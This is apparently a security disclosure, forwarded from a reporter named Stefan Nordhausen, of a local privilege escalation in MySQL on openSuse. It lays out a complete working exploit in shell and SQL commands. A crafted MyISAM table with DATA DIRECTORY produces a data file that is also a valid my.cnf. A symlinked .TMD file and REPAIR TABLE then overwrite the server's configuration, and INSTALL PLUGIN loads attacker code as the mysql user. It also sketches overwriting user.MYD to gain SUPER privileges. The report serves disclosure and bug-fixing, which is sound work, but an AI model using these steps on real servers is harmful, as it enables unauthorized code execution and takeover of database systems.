Reported by Stefan Nordhausen:

----------8<---------------------

Since today was a quiet day at the office, I was able to complete
another exploit that allows an attacker with

  * CREATE TABLE privileges in MySQL
  * any Unix-account on the MySQL server

to execute arbitrary code in the context of the MySQL server, i.e. as
user "mysql". And let's just assume that this access was officially
granted to the attacker. Exploitation is also not too complex and very
reliable. The code below assumes you are user nordhausen with home
directory /home/nordhausen. Initial setup is

    > cd ~
    > mkdir mysql
    > chmod 777 mysql

The SQL instructions below use the "DATA DIRECTORY" directive. This
assumes that symlinks are enabled (check with /SHOW VARIABLES LIKE
"have_symlink"/), which is the case in openSuse 12.3, but not in Red Hat
6.5. So, assuming default options, the below part will only work with
openSuse:

    USE <a_database_where_you_can_create_tables>;
    CREATE TABLE myisam ( x1 CHAR(1), x2 CHAR(1), x3 CHAR(1), x4
    CHAR(1), x5 char(1), x6 char(1), x7 char(45) ) ENGINE = myisam, DATA
    DIRECTORY = "/home/nordhausen/mysql";
    INSERT INTO myisam VALUE (NULL, "x", "x", "x", NULL, "x",
    "\n[mysqld]\nplugin_dir=/home/nordhausen/mysql\n#");

The strange table setup has a reason: MyISAM prefixes each record with a
bitmap that indicates which columns are NULL and which are not. With the
above layout, that bitmap corresponds to the ASCII character "#", i.e.
anything after it is marked as a comment. This is important because
MySQL will completely ignore a syntactically incorrect configuration
file. You can check with "cat ......./myisam.MYD"  that the file is not
just a valid MYD data file, but also a valid MySQL configuration file,
looking like this:

    > cat /home/nordhausen/mysql/myisam.MYD
    #   x  x  x     x
    [mysqld]
    plugin_dir=/home/nordhausen/mysql
    #

Now, the mission is to get this file moved to /var/lib/mysql/my.cnf. For
this, I exploit that MySQL is very careless during a REPAIR TABLE: It
will use the file called <table_name>.TMD without any security checks.
Creating a symlink on the shell:

    ln -s /var/lib/mysql/my.cnf /home/nordhausen/mysql/myisam.TMD

followed by SQL command

    REPAIR TABLE myisam;

will produce an "Operation failed" message. But the exploit has worked,
the content of the MYD file has been copied to the destination file.
Since /var/lib/mysql is the home directory of the "mysql" user, the new
"my.cnf" file will be picked up by MySQL as a configuration file. Now,
the attacker waits for the MySQL server to be restarted, his custom
configuration is loaded and the fun begins:

    > cp /usr/lib64/mysql/plugin/ha_blackhole.so
    /home/nordhausen/mysql/attacker.so

    mysql> show variables like "plugin_dir";
    +---------------+-------------------------+
    | Variable_name | Value                   |
    +---------------+-------------------------+
    | plugin_dir    | /home/nordhausen/mysql/ |
    +---------------+-------------------------+

    mysql> INSTALL PLUGIN blackhole SONAME 'attacker.so';
    Query OK, 0 rows affected (0.00 sec)

Instead of ha_blackhole.so, the attacker could use arbitrary
self-compiled files. Since MySQL installs the plugin even though the
file & directory are owned by user nordhausen, it means he can run any
code inside the MySQL server.

Installing the plugin needs INSERT privilege on the mysql.plugin table.
But the above exploit can also be used to overwrite any other file with
the privileges of the mysql user. You could overwrite
/var/lib/mysql/mysql/plugin.MYD or user.MYD (which are also a MyISAM
tables), thus inserting the plugin directly (after next MySQL restart)
or giving yourself SUPER privileges in MySQL. Alternatively, since the
attacker installed a new my.cnf file, he could redefine the "datadir"
config variable to point to a directory of his choice, which would
include a privilege setup of his choice. I have not tested any of that
yet, though.

Technically, this is more a MySQL exploit than an openSuse exploit, but
it shows that access to the mysql user account is achievable based on
realistic initial privileges. Together with the previous exploit, there
is now a way from "CREATE TABLE privilege + any user account" --> mysql
account --> root account. Sounds dangerous enough to me to warrant a
bugfix or two.

Next year (=after January 6th), I'll report that to Oracle, or you can
do it if you want to. I'll have only occasional access to e-mail until
then, anyway.


Merry Christmas
Stefan